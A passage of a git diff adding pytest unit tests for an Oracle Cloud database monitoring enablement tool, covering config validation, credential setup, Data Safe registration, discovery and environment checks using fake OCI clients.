profile="DEFAULT", + region="eu-frankfurt-1", + monitoring_regions=("eu-frankfurt-1", "us-chicago-1", "us-chicago-1"), + ) + + assert validate_config(config) == ["monitoring_regions contains duplicate regions: us-chicago-1"] + + +def test_load_config_rejects_dbcs_without_service_name(tmp_path: Path) -> None: + path = tmp_path / "invalid.yaml" + path.write_text( + "\n".join( + [ + "profile: DEFAULT", + "region: eu-frankfurt-1", + "targets:", + " - kind: dbcs", + " name: dbcs", + f" resource_id: {_ocid('database')}", + ] + ), + encoding="utf-8", + ) + + with pytest.raises(ConfigError, match="service_name"): + load_config(path) + + +def test_load_config_keeps_valid_config_unchanged(tmp_path: Path) -> None: + path = tmp_path / "valid.yaml" + path.write_text( + "\n".join( + [ + "profile: DEFAULT", + "region: eu-frankfurt-1", + f"tenancy_id: {_ocid('tenancy')}", + "network:", + f" vcn_id: {_ocid('vcn', 'b')}", + "targets:", + " - kind: dbcs", + " name: dbcs", + f" resource_id: {_ocid('database', 'c')}", + " service_name: db_high", + " services: [dbm, opsi]", + ] + ), + encoding="utf-8", + ) + + loaded = load_config(path) + + assert loaded.profile == "DEFAULT" + assert loaded.tenancy_id == _ocid("tenancy") + assert loaded.network.vcn_id == _ocid("vcn", "b") + assert loaded.targets[0] == Target( + kind="dbcs", + name="dbcs", + resource_id=_ocid("database", "c"), + service_name="db_high", + services=("dbm", "opsi"), + ) diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_conn.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_conn.py new file mode 100644 index 000000000..28768b1dd --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_conn.py @@ -0,0 +1,31 @@ +from dbman_opsi.conn import service_name_from_record + + +def test_prefers_pdb_default_then_cdb_default() -> None: + record = {"connection-strings": {"pdb-default": "host:1521/PDB1.sub.vcn", "cdb-default": "host:1521/CDB.sub.vcn"}} + assert service_name_from_record(record) == "PDB1.sub.vcn" + + +def test_falls_back_to_cdb_default_when_no_pdb_default() -> None: + record = {"connection-strings": {"cdb-default": "host:1521/CDB.sub.vcn"}} + assert service_name_from_record(record) == "CDB.sub.vcn" + + +def test_reads_all_connection_strings_cdb_default() -> None: + record = {"connection-strings": {"all-connection-strings": {"cdbDefault": "host:1521/ORCL.sub.vcn"}}} + assert service_name_from_record(record) == "ORCL.sub.vcn" + + +def test_returns_none_when_no_connection_strings() -> None: + assert service_name_from_record({}) is None + assert service_name_from_record({"connection-strings": None}) is None + + +def test_returns_none_when_value_has_no_service_path() -> None: + # A bare host:port with no '/service' must not be mis-parsed as a service name. + assert service_name_from_record({"connection-strings": {"pdb-default": "host:1521"}}) is None + + +def test_ignores_non_dict_connection_strings() -> None: + # OCI payloads occasionally return a string here; must not crash on .get(). + assert service_name_from_record({"connection-strings": "host:1521/PDB1"}) is None diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_credentials.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_credentials.py new file mode 100644 index 000000000..43ed9691a --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_credentials.py @@ -0,0 +1,153 @@ +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.credentials import CredentialService + + +class FakeOci: + def __init__(self, managed=None, db_name="DBMOPSI", pdb_name="PDB1", nc_id="named-credential-id", + set_failures=0, fail_text="NotAuthorizedOrNotFound"): + self.managed = {"DBMOPSI": "managed-cdb-id", "PDB1": "managed-pdb-id"} if managed is None else managed + self.db_name = db_name + self.pdb_name = pdb_name + self.nc_id = nc_id + self.created: list[dict] = [] + self.preferred: list[tuple] = [] + self.set_failures = set_failures + self.fail_text = fail_text + self.set_calls = 0 + + def get_database(self, database_id): + return {"db-name": self.db_name} + + def get_pluggable_database(self, pluggable_database_id): + return {"pdb-name": self.pdb_name} + + def find_managed_database_id(self, compartment_id, name): + return self.managed.get(name) + + def list_preferred_credentials(self, managed_database_id): + status = "SET" if getattr(self, "preferred_set", False) else "NOT_SET" + return [ + {"credential-name": "PC_READ", "status": status}, + {"credential-name": "PC_WRITE", "status": status}, + {"credential-name": "MONITORING", "status": "SET"}, + ] + + def create_named_credential(self, **kwargs): + self.created.append(kwargs) + return self.nc_id + + def set_preferred_named_credential(self, managed_database_id, credential_name, named_credential_id): + self.set_calls += 1 + if self.set_calls <= self.set_failures: + raise RuntimeError(f"Command failed (1): ...\nServiceError {self.fail_text}") + self.preferred.append((managed_database_id, credential_name, named_credential_id)) + + +def _cdb_target(**overrides): + base = dict( + kind="dbcs", + name="dbman-opsi-dbcs-cdb", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + monitoring_user="DBSNMP", + ) + base.update(overrides) + return Target(**base) + + +def _config(*targets): + return EnablementConfig(profile="cap", region="eu-frankfurt-1", compartment_id="compartment-id", targets=targets) + + +def test_set_credentials_creates_named_cred_and_sets_both_preferred_slots() -> None: + oci = FakeOci() + service = CredentialService(oci) # type: ignore[arg-type] + + decision = service.set_for_target(_cdb_target(), _config()) + + assert decision.status == "set" + assert len(oci.created) == 1 + assert oci.created[0]["name"] == "DBMOPSI_DBSNMP_NORMAL" + assert oci.created[0]["associated_resource"] == "database-id" # managed id == db OCID + assert [c[1] for c in oci.preferred] == ["PC_READ", "PC_WRITE"] + assert all(c[0] == "database-id" for c in oci.preferred) + assert all(c[2] == "named-credential-id" for c in oci.preferred) + + +def test_set_credentials_pdb_uses_pdb_name() -> None: + oci = FakeOci() + service = CredentialService(oci) # type: ignore[arg-type] + target = _cdb_target(name="dbman-opsi-dbcs-pdb1", resource_id="pluggable-database-id", database_role="PDB") + + decision = service.set_for_target(target, _config()) + + assert decision.status == "set" + assert oci.created[0]["name"] == "PDB1_DBSNMP_NORMAL" + assert oci.created[0]["associated_resource"] == "pluggable-database-id" + + +def test_set_credentials_blocked_when_fields_missing() -> None: + oci = FakeOci() + service = CredentialService(oci) # type: ignore[arg-type] + + decision = service.set_for_target(_cdb_target(password_secret_id=None), _config()) + + assert decision.status == "blocked" + assert "password_secret_id" in decision.detail + + +def test_set_credentials_skips_non_cloud_targets() -> None: + oci = FakeOci() + service = CredentialService(oci) # type: ignore[arg-type] + + decision = service.set_for_target(Target(kind="external-db", name="ext"), _config()) + + assert decision.status == "skipped" + assert oci.created == [] + + +def test_set_credentials_short_circuits_when_already_set() -> None: + oci = FakeOci() + oci.preferred_set = True # PC_READ/PC_WRITE already SET + service = CredentialService(oci) # type: ignore[arg-type] + + decision = service.set_for_target(_cdb_target(), _config()) + + assert decision.status == "set" + assert "already configured" in decision.detail + assert oci.created == [] # no write attempted + + +def test_set_credentials_retries_once_on_transient_404() -> None: + oci = FakeOci(set_failures=1) # first set attempt fails, retry succeeds + service = CredentialService(oci) # type: ignore[arg-type] + + decision = service.set_for_target(_cdb_target(), _config()) + + assert decision.status == "set" + assert [c[1] for c in oci.preferred] == ["PC_READ", "PC_WRITE"] + + +def test_set_credentials_blocked_with_remediation_on_persistent_failure() -> None: + oci = FakeOci(set_failures=99, fail_text="NotAuthorizedOrNotFound") + service = CredentialService(oci) # type: ignore[arg-type] + + decision = service.set_for_target(_cdb_target(), _config()) + + assert decision.status == "blocked" + assert "Solution:" in decision.detail + assert "Manual step:" in decision.detail + + +def test_set_all_returns_one_decision_per_target() -> None: + oci = FakeOci() + service = CredentialService(oci) # type: ignore[arg-type] + config = _config( + _cdb_target(), + _cdb_target(name="dbman-opsi-dbcs-pdb1", resource_id="pluggable-database-id", database_role="PDB"), + ) + + decisions = service.set_all(config) + + assert [d.status for d in decisions] == ["set", "set"] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_cross_region.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_cross_region.py new file mode 100644 index 000000000..19a02719e --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_cross_region.py @@ -0,0 +1,53 @@ +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.cross_region import cross_region_plan, format_cross_region_plan, parse_regions + + +def test_parse_regions_trims_and_omits_empty_entries() -> None: + assert parse_regions("eu-frankfurt-1, us-chicago-1,,") == ("eu-frankfurt-1", "us-chicago-1") + + +def test_cross_region_plan_groups_opsi_targets_by_selected_regions() -> None: + config = EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + monitoring_regions=("eu-frankfurt-1", "us-chicago-1"), + targets=( + Target(kind="dbcs", name="frankfurt-cdb", service_name="cdb.example", services=("dbm", "opsi")), + Target( + kind="autonomous", + name="chicago-adb", + region="us-chicago-1", + services=("dbm", "opsi"), + ), + Target( + kind="autonomous", + name="security-only", + region="us-chicago-1", + services=("datasafe",), + ), + ), + ) + + plan = cross_region_plan(config) + + assert plan.enabled is True + assert plan.targets_by_region == ( + ("eu-frankfurt-1", ("frankfurt-cdb",)), + ("us-chicago-1", ("chicago-adb",)), + ) + assert plan.warnings == () + + +def test_cross_region_plan_warns_when_target_region_not_selected() -> None: + config = EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + monitoring_regions=("eu-frankfurt-1",), + targets=(Target(kind="autonomous", name="chicago-adb", region="us-chicago-1"),), + ) + + plan = cross_region_plan(config) + + assert plan.enabled is False + assert plan.warnings == ("us-chicago-1 has OPSI targets but is not selected in monitoring_regions",) + assert "Configuration and Capacity dashboards" in format_cross_region_plan(plan) diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_datasafe.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_datasafe.py new file mode 100644 index 000000000..9240efc25 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_datasafe.py @@ -0,0 +1,136 @@ +import json +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.datasafe import DataSafeService, data_safe_database_details + + +class FakeOci: + def __init__(self, existing_targets=None, existing_pes=None): + self._targets = existing_targets or [] + self._pes = existing_pes or [] + self.created_targets: list[dict] = [] + self.created_pes: list[dict] = [] + + def list_data_safe_targets(self, compartment_id): + return self._targets + + def list_data_safe_private_endpoints(self, compartment_id): + return self._pes + + def create_data_safe_private_endpoint(self, compartment_id, display_name, vcn_id, subnet_id): + self.created_pes.append({"display-name": display_name, "subnet": subnet_id}) + return "ocid1.datasafeprivateendpoint.oc1..created" + + def create_data_safe_target( + self, compartment_id, display_name, database_details_file, + connection_option_file=None, credentials_file=None, + ): + # Capture the payload contents so the test can assert on them before the + # service deletes the temp files. + self.created_targets.append({ + "display_name": display_name, + "database_details": json.loads(Path(database_details_file).read_text()), + "connection_option": json.loads(Path(connection_option_file).read_text()) if connection_option_file else None, + "credentials": json.loads(Path(credentials_file).read_text()) if credentials_file else None, + }) + return "ocid1.datasafetargetdatabase.oc1..registered" + + +def _config(**network): + return EnablementConfig( + profile="cap", region="eu-frankfurt-1", compartment_id="cmpt-1", + network=NetworkSelection(**network), + ) + + +def test_database_details_cloud_service_uses_db_system_and_service() -> None: + target = Target(kind="dbcs", name="cdb", db_system_id="sys-1", service_name="PDB1") + details = data_safe_database_details(target) + assert details["databaseType"] == "DATABASE_CLOUD_SERVICE" + assert details["dbSystemId"] == "sys-1" + assert details["serviceName"] == "PDB1" + + +def test_database_details_autonomous_uses_adb_id() -> None: + details = data_safe_database_details(Target(kind="autonomous", name="adb", resource_id="adb-1")) + assert details["databaseType"] == "AUTONOMOUS_DATABASE" + assert details["autonomousDatabaseId"] == "adb-1" + + +def test_enable_target_registers_with_payloads_and_creds() -> None: + oci = FakeOci() + target = Target( + kind="dbcs", name="dbmopsi", compartment_id="cmpt-1", + db_system_id="sys-1", service_name="PDB1", + data_safe_private_endpoint_id="dspe-1", + services=("dbm", "opsi", "datasafe"), + ) + service = DataSafeService(oci, credential_provider=lambda t: ("DBSNMP", "s3cret")) + + decision = service.enable_target(target, _config()) + + assert decision.status == "enabled" + assert decision.target_id == "ocid1.datasafetargetdatabase.oc1..registered" + created = oci.created_targets[0] + assert created["connection_option"]["datasafePrivateEndpointId"] == "dspe-1" + assert created["credentials"] == {"userName": "DBSNMP", "password": "s3cret"} + + +def test_enable_target_creates_private_endpoint_when_missing() -> None: + oci = FakeOci() + target = Target( + kind="dbcs", name="dbmopsi", compartment_id="cmpt-1", + db_system_id="sys-1", service_name="PDB1", + services=("dbm", "opsi", "datasafe"), + ) + service = DataSafeService(oci, credential_provider=lambda t: ("DBSNMP", "pw")) + + decision = service.enable_target(target, _config(vcn_id="vcn-1", subnet_id="subnet-1")) + + assert oci.created_pes and oci.created_pes[0]["subnet"] == "subnet-1" + assert decision.status == "enabled" + + +def test_enable_target_blocked_when_registration_fields_missing() -> None: + oci = FakeOci() + target = Target(kind="dbcs", name="dbmopsi", compartment_id="cmpt-1", + services=("dbm", "opsi", "datasafe")) + # No db_system_id / service_name / PE and no subnet to create one. + decision = DataSafeService(oci).enable_target(target, _config()) + assert decision.status == "blocked" + assert "db_system_id" in decision.detail + + +def test_enable_target_skips_unsupported_kind() -> None: + decision = DataSafeService(FakeOci()).enable_target( + Target(kind="external-db", name="ext", services=("datasafe",)), _config() + ) + assert decision.status == "skipped" + + +def test_enable_all_only_processes_opted_in_targets() -> None: + oci = FakeOci() + config = EnablementConfig( + profile="cap", region="eu-frankfurt-1", compartment_id="cmpt-1", + targets=( + Target(kind="dbcs", name="ds", compartment_id="cmpt-1", db_system_id="sys-1", + service_name="PDB1", data_safe_private_endpoint_id="pe-1", + services=("dbm", "opsi", "datasafe")), + Target(kind="dbcs", name="no-ds", services=("dbm", "opsi")), + ), + ) + decisions = DataSafeService(oci, credential_provider=lambda t: ("DBSNMP", "pw")).enable_all(config) + assert [d.target for d in decisions] == ["ds"] + + +def test_register_cleans_up_credential_temp_files(tmp_path) -> None: + oci = FakeOci() + target = Target(kind="dbcs", name="dbmopsi", compartment_id="cmpt-1", db_system_id="sys-1", + service_name="PDB1", data_safe_private_endpoint_id="pe-1", + services=("dbm", "opsi", "datasafe")) + DataSafeService(oci, credential_provider=lambda t: ("DBSNMP", "pw")).enable_target(target, _config()) + # No dbman-datasafe-* temp dirs should remain. + import tempfile as _tf + leftovers = list(Path(_tf.gettempdir()).glob("dbman-datasafe-*")) + assert leftovers == [] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_db_check.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_db_check.py new file mode 100644 index 000000000..acb4abd8f --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_db_check.py @@ -0,0 +1,71 @@ +import pytest + +from dbman_opsi.db_check import parse_validation_output + +PASSING_SPOOL = """ +USERNAME ACCOUNT_STATUS +------------------------------ ------------------------------ +DBSNMP OPEN + +PRIVILEGE +---------------------------------------- +CREATE SESSION +SELECT ANY DICTIONARY + +GRANTED_ROLE +---------------------------------------- +SELECT_CATALOG_ROLE +""" + +MISSING_DICT_SPOOL = """ +USERNAME ACCOUNT_STATUS +DBSNMP OPEN + +PRIVILEGE +---------- +CREATE SESSION +""" + +LOCKED_SPOOL = """ +USERNAME ACCOUNT_STATUS +DBSNMP LOCKED + +PRIVILEGE +CREATE SESSION +SELECT ANY DICTIONARY +""" + + +def test_passing_spool_is_ok() -> None: + result = parse_validation_output(PASSING_SPOOL) + + assert result.ok + assert result.account_open + assert "CREATE SESSION" in result.found + + +def test_missing_dictionary_grant_fails() -> None: + result = parse_validation_output(MISSING_DICT_SPOOL) + + assert not result.ok + assert any("SELECT ANY DICTIONARY" in item for item in result.missing) + + +def test_locked_account_fails_even_with_grants() -> None: + result = parse_validation_output(LOCKED_SPOOL) + + assert not result.account_open + assert not result.ok + + +def test_expiry_date_header_is_not_mistaken_for_expired() -> None: + spool = "USERNAME ACCOUNT_STATUS LOCK_DATE EXPIRY_DATE\nDBSNMP OPEN\nCREATE SESSION\nSELECT_CATALOG_ROLE\n" + result = parse_validation_output(spool) + + assert result.account_open + assert result.ok + + +def test_garbage_spool_raises_clear_parse_error() -> None: + with pytest.raises(ValueError, match="SQL\\*Plus validation spool"): + parse_validation_output("not the validation query output") diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_db_exec.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_db_exec.py new file mode 100644 index 000000000..99e185c2f --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_db_exec.py @@ -0,0 +1,109 @@ +from pathlib import Path + +import pytest + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.db_exec import ( + DbExecService, + ExecDecision, + is_production_profile, + ordered_scripts, + should_auto_execute, +) + + +def test_production_profile_gate() -> None: + assert is_production_profile("emdemo") is True + assert is_production_profile("cap") is False + assert should_auto_execute("cap") is True + assert should_auto_execute("emdemo") is False + # Force overrides the prod gate (explicit operator override). + assert should_auto_execute("emdemo", force=True) is True + + +def test_ordered_scripts_returns_existing_in_run_order(tmp_path: Path) -> None: + for name in ["02-grant-basic-monitoring.sql", "01-create-monitoring-user.sql", + "04-validate-monitoring-user.sql", "06-enable-data-safe.sql"]: + (tmp_path / name).write_text("-- sql") + names = [p.name for p in ordered_scripts(tmp_path)] + # 01 first, 04 (validate) last, 06 before 04. + assert names == [ + "01-create-monitoring-user.sql", + "02-grant-basic-monitoring.sql", + "06-enable-data-safe.sql", + "04-validate-monitoring-user.sql", + ] + + +def _config(profile: str) -> EnablementConfig: + return EnablementConfig( + profile=profile, region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="dbmopsi"), Target(kind="autonomous", name="adb")), + ) + + +def test_plan_auto_execs_non_prod_and_skips_non_db_kinds() -> None: + decisions = {d.target: d for d in DbExecService().plan(_config("cap"))} + assert decisions["dbmopsi"].action == "executed" + assert decisions["adb"].action == "skipped" # autonomous has no DB-side scripts + + +def test_plan_hands_off_in_production() -> None: + decisions = {d.target: d for d in DbExecService().plan(_config("emdemo"))} + assert decisions["dbmopsi"].action == "handoff" + + +def test_execute_runs_scripts_via_injected_runner(tmp_path: Path) -> None: + target_dir = tmp_path / "dbmopsi" + target_dir.mkdir() + (target_dir / "01-create-monitoring-user.sql").write_text("-- sql") + (target_dir / "04-validate-monitoring-user.sql").write_text("-- sql") + ran: list[tuple[str, list[str]]] = [] + + def runner(target: Target, scripts: list[Path]) -> str: + ran.append((target.name, [p.name for p in scripts])) + return "ok" + + decisions = DbExecService(runner).execute(_config("cap"), tmp_path) + by_target = {d.target: d for d in decisions} + assert by_target["dbmopsi"].action == "executed" + assert ran == [("dbmopsi", ["01-create-monitoring-user.sql", "04-validate-monitoring-user.sql"])] + + +def test_execute_in_production_hands_off_without_running(tmp_path: Path) -> None: + target_dir = tmp_path / "dbmopsi" + target_dir.mkdir() + (target_dir / "01-create-monitoring-user.sql").write_text("-- sql") + called = False + + def runner(target: Target, scripts: list[Path]) -> str: + nonlocal called + called = True + return "ok" + + decisions = {d.target: d for d in DbExecService(runner).execute(_config("emdemo"), tmp_path)} + assert decisions["dbmopsi"].action == "handoff" + assert called is False + + +def test_execute_marks_failed_runner_without_aborting(tmp_path: Path) -> None: + target_dir = tmp_path / "dbmopsi" + target_dir.mkdir() + (target_dir / "01-create-monitoring-user.sql").write_text("-- sql") + + def runner(target: Target, scripts: list[Path]) -> str: + raise RuntimeError("ORA-12514") + + decisions = {d.target: d for d in DbExecService(runner).execute(_config("cap"), tmp_path)} + assert decisions["dbmopsi"].action == "failed" + assert "ORA-12514" in decisions["dbmopsi"].detail + + +def test_execute_auto_without_runner_raises(tmp_path: Path) -> None: + with pytest.raises(ValueError): + DbExecService().execute(_config("cap"), tmp_path) + + +def test_exec_decision_to_dict() -> None: + d = ExecDecision("t", "executed", "ok", ("01.sql",)) + assert d.to_dict() == {"target": "t", "action": "executed", "detail": "ok", "scripts": ["01.sql"]} diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_db_scripts.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_db_scripts.py new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_discovery.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_discovery.py new file mode 100644 index 000000000..181595695 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_discovery.py @@ -0,0 +1,248 @@ +from dbman_opsi.discovery import DiscoveryService + + +class FakeOci: + def list_vcns(self, compartment_id): + return [{"id": "vcn-1"}] + + def list_service_gateways(self, compartment_id, vcn_id): + return [{"lifecycle-state": "AVAILABLE"}] if vcn_id == "vcn-1" else [] + + def list_subnets(self, compartment_id, vcn_id): + return [{"id": "subnet-1", "display-name": "private", "prohibit-public-ip-on-vnic": True}] + + def list_vaults(self, compartment_id): + return [{"id": "vault-1", "display-name": "v", "lifecycle-state": "ACTIVE", "management-endpoint": "https://kms"}] + + def list_keys(self, compartment_id, management_endpoint): + return [{"id": "key-1", "display-name": "k"}] + + def list_db_systems(self, compartment_id): + return [{"id": "dbsys-1"}] + + def list_databases(self, compartment_id, db_system_id): + return [{"id": "cdb-1", "db-name": "DB0424", "lifecycle-state": "AVAILABLE", + "database-management-config": None}] + + def list_pluggable_databases(self, compartment_id): + return [{"id": "pdb-1", "pdb-name": "test", "lifecycle-state": "AVAILABLE", + "pluggable-database-management-config": {"management-status": "ENABLED"}}] + + def list_autonomous_databases(self, compartment_id): + return [{"id": "adb-1", "display-name": "adb", "lifecycle-state": "AVAILABLE", + "database-management-status": "NOT_ENABLED"}] + + def list_db_management_private_endpoints(self, compartment_id): + return [{"name": "dbm-pe"}] + + def list_opsi_private_endpoints(self, compartment_id): + return [{"display-name": "opsi-pe"}] + + def list_data_safe_private_endpoints(self, compartment_id): + return [{"display-name": "ds-pe"}] + + def list_opsi_database_insights(self, compartment_id): + # OPSI insight references the CDB by database-id, ACTIVE. + return [{"id": "insight-1", "database-id": "cdb-1", "lifecycle-state": "ACTIVE"}] + + def list_data_safe_targets(self, compartment_id): + # Data Safe target references the parent DB system, ACTIVE. + return [{"id": "dstarget-1", "lifecycle-state": "ACTIVE", + "database-details": {"db-system-id": "dbsys-1"}}] + + def list_management_agents(self, compartment_id): + return [{"display-name": "agent-1"}] + + def list_bastions(self, compartment_id): + return [{"name": "bastion-1"}] + + +def test_discovery_builds_inventory() -> None: + inventory = DiscoveryService(FakeOci()).discover([{"id": "cmpt-1", "name": "demo-database"}]) # type: ignore[arg-type] + + compartment = inventory.compartments[0] + assert compartment.subnets[0].has_service_gateway is True + assert compartment.subnets[0].private is True + assert compartment.vaults[0].keys == (("key-1", "k"),) + roles = {db.role for db in compartment.databases} + assert roles == {"CDB", "PDB"} + pdb = next(db for db in compartment.databases if db.role == "PDB") + assert pdb.dbm_status == "ENABLED" + cdb = next(db for db in compartment.databases if db.role == "CDB") + assert cdb.dbm_status == "NOT_ENABLED" + assert compartment.bastions == ("bastion-1",) + assert compartment.data_safe_private_endpoints == ({"display-name": "ds-pe"},) + + +def test_discovery_detects_three_pillars_per_db() -> None: + inventory = DiscoveryService(FakeOci()).discover([{"id": "cmpt-1", "name": "demo-database"}]) # type: ignore[arg-type] + + compartment = inventory.compartments[0] + cdb = next(db for db in compartment.databases if db.role == "CDB") + # CDB: OPSI insight matches by database-id, Data Safe matches by db-system-id. + assert cdb.opsi_status == "ENABLED" + assert cdb.data_safe_status == "ENABLED" + assert set(cdb.enabled_services) == {"opsi", "datasafe"} + assert "dbm" in cdb.missing_services + pdb = next(db for db in compartment.databases if db.role == "PDB") + # PDB: DBM enabled, but no OPSI insight / Data Safe target references it. + assert pdb.enabled_services == ("dbm",) + assert set(pdb.missing_services) == {"opsi", "datasafe"} + # to_dict carries the new fields for reporting. + assert cdb.to_dict()["data_safe_status"] == "ENABLED" + + +class _PdbGrainOci: + """Minimal fake exercising service-name disambiguation of a Base DB target.""" + + def list_db_systems(self, compartment_id): + return [{"id": "sys-9"}] + + def list_databases(self, compartment_id, db_system_id): + return [{"id": "cdb-9", "db-name": "PRODCDB", "lifecycle-state": "AVAILABLE", + "connection-strings": {"cdb-default": "h:1521/cdb9.svc"}}] + + def list_pluggable_databases(self, compartment_id): + return [{"id": "pdb-9", "pdb-name": "APPPDB", "lifecycle-state": "AVAILABLE", + "connection-strings": {"pdb-default": "h:1521/apppdb.svc"}, + "pluggable-database-management-config": {"management-status": "ENABLED"}}] + + def list_data_safe_targets(self, compartment_id): + # Summary: database-details null; join key in associated-resource-ids. + return [{"id": "dst-9", "lifecycle-state": "ACTIVE", + "associated-resource-ids": ["sys-9"], "database-details": None}] + + def get_data_safe_target(self, target_database_id): + # GET enriches with database-details incl. the PDB service name. + return {"id": "dst-9", "lifecycle-state": "ACTIVE", + "associated-resource-ids": ["sys-9"], + "database-details": {"db-system-id": "sys-9", "service-name": "apppdb.svc"}} + + +def test_discovery_attributes_data_safe_to_pdb_by_service() -> None: + inventory = DiscoveryService(_PdbGrainOci()).discover([{"id": "c", "name": "prod"}]) # type: ignore[arg-type] + compartment = inventory.compartments[0] + pdb = next(db for db in compartment.databases if db.role == "PDB") + cdb = next(db for db in compartment.databases if db.role == "CDB") + # The target's service-name matches the PDB, not the CDB root. + assert pdb.data_safe_status == "ENABLED" + assert cdb.data_safe_status == "NOT_ENABLED" + + +def test_discovery_to_dict_skips_empty() -> None: + class Empty(FakeOci): + def list_vcns(self, compartment_id): + return [] + + def list_vaults(self, compartment_id): + return [] + + def list_db_systems(self, compartment_id): + return [] + + def list_pluggable_databases(self, compartment_id): + return [] + + def list_autonomous_databases(self, compartment_id): + return [] + + def list_db_management_private_endpoints(self, compartment_id): + return [] + + def list_opsi_private_endpoints(self, compartment_id): + return [] + + def list_data_safe_private_endpoints(self, compartment_id): + return [] + + def list_management_agents(self, compartment_id): + return [] + + def list_bastions(self, compartment_id): + return [] + + inventory = DiscoveryService(Empty()).discover([{"id": "c", "name": "empty"}]) # type: ignore[arg-type] + assert inventory.to_dict() == {"compartments": []} + + +def test_parallel_map_preserves_order_and_runs_concurrently() -> None: + # Order must match the input; concurrency is proven deterministically with a + # Barrier that only releases once all workers arrive together (a serial map + # would deadlock and raise BrokenBarrierError on timeout). + import threading + + from dbman_opsi.discovery import _parallel_map + + barrier = threading.Barrier(3, timeout=5) + + def doubled(value: int) -> int: + barrier.wait() + return value * 2 + + assert _parallel_map(doubled, [1, 2, 3], max_workers=3) == [2, 4, 6] + + +def test_parallel_map_falls_back_to_serial_for_trivial_inputs() -> None: + from dbman_opsi.discovery import _parallel_map + + assert _parallel_map(lambda x: x + 1, [10], max_workers=8) == [11] # single item + assert _parallel_map(lambda x: x + 1, [10, 20], max_workers=1) == [11, 21] # max_workers=1 + assert _parallel_map(lambda x: x + 1, [], max_workers=8) == [] # empty + + +def test_discover_parallel_matches_serial_across_compartments() -> None: + compartments = [{"id": f"cmpt-{n}", "name": f"c{n}"} for n in range(4)] + serial = DiscoveryService(FakeOci(), max_workers=1).discover(compartments) # type: ignore[arg-type] + parallel = DiscoveryService(FakeOci(), max_workers=8).discover(compartments) # type: ignore[arg-type] + + # Same results, same order — parallelism must not reorder or drop compartments. + assert parallel.to_dict() == serial.to_dict() + assert tuple(c.id for c in parallel.compartments) == ("cmpt-0", "cmpt-1", "cmpt-2", "cmpt-3") + + +class _OrderedDataSafeOci: + def list_data_safe_targets(self, compartment_id): + return [ + {"id": "dst-1", "database-details": None}, + {"id": "dst-2", "database-details": None}, + {"id": "dst-3", "database-details": None}, + ] + + def get_data_safe_target(self, target_database_id): + return { + "id": target_database_id, + "database-details": {"service-name": f"{target_database_id}.svc"}, + } + + +def test_data_safe_enrichment_parallel_matches_serial_order() -> None: + serial_service = DiscoveryService(_OrderedDataSafeOci(), max_workers=1) # type: ignore[arg-type] + parallel_service = DiscoveryService(_OrderedDataSafeOci(), max_workers=4) # type: ignore[arg-type] + serial = serial_service._data_safe_targets_enriched("c") + parallel = parallel_service._data_safe_targets_enriched("c") + + assert parallel == serial + assert [target["id"] for target in parallel] == ["dst-1", "dst-2", "dst-3"] + assert [target["database-details"]["service-name"] for target in parallel] == [ + "dst-1.svc", + "dst-2.svc", + "dst-3.svc", + ] + + +def test_data_safe_gets_run_concurrently() -> None: + import threading + + class ConcurrentDataSafeOci(_OrderedDataSafeOci): + def __init__(self) -> None: + self.barrier = threading.Barrier(3, timeout=0.5) + + def get_data_safe_target(self, target_database_id): + self.barrier.wait() + return super().get_data_safe_target(target_database_id) + + service = DiscoveryService(ConcurrentDataSafeOci(), max_workers=3) # type: ignore[arg-type] + targets = service._data_safe_targets_enriched("c") + + assert [target["id"] for target in targets] == ["dst-1", "dst-2", "dst-3"] + assert all(target.get("database-details") for target in targets) diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_doctor.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_doctor.py new file mode 100644 index 000000000..ef21ce4c8 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_doctor.py @@ -0,0 +1,100 @@ +import sys +import subprocess + +from dbman_opsi.doctor import DoctorCheck, check_environment, check_session, summarize_checks + + +def test_summarize_checks_reports_ready_when_required_tools_exist() -> None: + checks = ( + DoctorCheck(name="python", ok=True, detail="3.11"), + DoctorCheck(name="oci", ok=True, detail="3.81.1"), + DoctorCheck(name="terraform", ok=True, detail="1.8.0"), + ) + + assert summarize_checks(checks) == "READY: python, oci, terraform" + + +def test_summarize_checks_reports_missing_tools() -> None: + checks = ( + DoctorCheck(name="oci", ok=False, detail="not found"), + DoctorCheck(name="terraform", ok=True, detail="1.8.0"), + ) + + assert summarize_checks(checks) == "NOT READY: missing oci" + + +def _fake_run(returncode: int, stdout: str = "", stderr: str = ""): + def runner(command, check=False, capture_output=True, text=True): + return subprocess.CompletedProcess(command, returncode, stdout, stderr) + + return runner + + +def test_check_session_ok_when_authenticated(monkeypatch) -> None: + monkeypatch.setattr("dbman_opsi.doctor.shutil.which", lambda name: 